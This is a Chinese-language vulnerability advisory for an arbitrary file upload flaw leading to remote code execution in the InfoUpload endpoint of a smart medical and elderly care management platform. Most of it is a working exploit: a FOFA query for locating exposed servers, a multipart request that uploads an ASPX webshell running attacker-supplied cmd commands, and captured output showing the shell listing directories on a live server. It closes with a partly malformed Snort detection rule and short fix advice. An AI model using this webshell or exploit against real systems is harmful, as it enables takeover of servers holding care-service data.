

智慧医养综合服务管理平台 InfoUpload 文件上传致RCE漏洞

智慧医养综合服务管理平台 InfoUpload 文件上传致RCE漏洞，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

智慧医养综合服务管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="Content/css/Login/images/gtx-main-bg00004.png" || body="KingtonUI.CommItemInfo()"

POC/EXP:

```
POST /webData/InfoUpload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

-----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.aspx"
Content-Type: image/png

<%@ Page Language="Jscript" validateRequest="false" %>
<%
```

```

var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
-----WebKitFormBoundaryFfJZ4PlAZBixjELj--

```

Request

数据扫描

美化

HEX

热加载

构造请求

54 bytes

美化

HEX

编码

请输入定位响应

```

1 POST /WebData/InfoUpload-HTTP/1.1
2 Host : 
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 Accept-Encoding: gzip, deflate
5 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryFfJZ4PlAZBixjELj
6 Accept: */*
7 Connection: close
8
9 -----WebKitFormBoundaryFfJZ4PlAZBixjELj
10 Content-Disposition: form-data; name="file"; filename="1.aspx"
11 Content-Type: image/png
12
13 <%@Page.Language="Jscript">validateRequest="false"%>
14 <%
15 var c=new System.Diagnostics.ProcessStartInfo("cmd");
16 var e=new System.Diagnostics.Process();
17 var out:System.IO.StreamReader,EI:System.IO.StreamReader;
18 c.UseShellExecute=false;
19 c.RedirectStandardOutput=true;
20 c.RedirectStandardError=true;
21 e.StartInfo=c;
22 c.Arguments="/c "+Request.Item["cmd"];
23 e.Start();
24 out=e.StandardOutput;
25 EI=e.StandardError;
26 e.Close();
27 Response.Write(out.ReadToEnd()+EI.ReadToEnd());
28 System.IO.File.Delete(Request.PhysicalPath);
29 Response.End();%>

```

```

1 HTTP/1.1:200-OK
2 Cache-Control: private
3 Content-Type: text/plain; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 Set-Cookie: ASP.NET_SessionId=hyorqv4a5cy4d2lg2seojb; path=/; HttpOnly; SameSite=None; Secure
6 X-AspNetMvc-Version: 4.0
7 X-AspNet-Version: 4.0.30319
8 X-Powered-By: ASP.NET
9 Access-Control-Allow-Methods: OPTIONS,POST,GET
10 Access-Control-Allow-Headers: x-requested-with,content-type
11 Access-Control-Allow-Origin: *
12 Date: Thu, 11-Sep-2025 01:08:06 GMT
13 Connection: close
14 Content-Length: 70
15
16 上传成功! , /UploadUserExcel/20250911/20250911090806_6972j51m.aspx

```

Request

数据扫描

美化

HEX

热加载

构造请求

5981 bytes / 593ms

美化

HEX

渲染

编码

请输入定位响应

```

1 GET /UploadUserExcel/20250911/20250911090806_6972j51m.aspx?cmd=dir-HTTP/1.1
2 Host : 

```

```

1 HTTP/1.1:200-OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 Set-Cookie: ASP.NET_SessionId=qcy1fmsj5b5pni41ee3p41j1; path=/;
6 X-AspNet-Version: 4.0.30319
7 X-Powered-By: ASP.NET
8 Access-Control-Allow-Methods: OPTIONS,POST,GET
9 Access-Control-Allow-Headers: x-requested-with,content-type
10 Access-Control-Allow-Origin: *
11 Date: Thu, 11-Sep-2025 01:09:10 GMT
12 Content-Length: 5981
13
14 驱动器 C: 中的卷没有标签。
15 卷的序列号是 BA38-E3DD
16
17 C:\WINDOWS\SysWOW64\inetmgr 的目录
18
19 2022/05/31 19:22:00 <DIR> .
20 2022/05/31 19:22:00 <DIR> ..
21 2019/12/30 15:36:00 108,032 appcmd (1).exe
22 2018/09/15 15:29:00 3,810 appcmd (1).xml
23 2022/05/31 19:15:00 108,544 appcmd.exe
24 2019/12/07 17:10:00 3,940 appcmd.xml
25 2019/12/30 15:36:00 68,096 apphostsvcs (1).dll
26 2019/12/07 23:53:00 59,904 apphostsvcs.dll
27 2019/12/30 15:36:00 356,352 appobj (1).dll
28 2022/05/31 19:15:00 361,472 appobj.dll
29 2019/12/30 15:55:00 397,824 asp (1).dll

```

sonrt规则:

```

alert http any any -> $HOME_NET any (
  msg:"Smart Medical Care Platform - ASPX webshell upload via Infoupload";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"/WebData/InfoUpload";
  http.header; content:"Content-Type: multipart/form-data";
  http.request_body; content:"filename=\"1.aspx\"";
  pcre:"/(<%@s+Page\s+Language=\"Jscript\"[\^\"]*%>)/i";
  pcre:"/System\.Diagnostics\.ProcessStartInfo\[^\]\+\\)/i";
  metadata:

```

```
    cve none,  
    service http,  
    affected_product "智慧医养综合服务管理平台",  
    vulnerability_type "websHELL upload RCE",  
    severity "critical";  
classtype:web-application-attack;  
sid:1000498;  
rev:1;  
priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。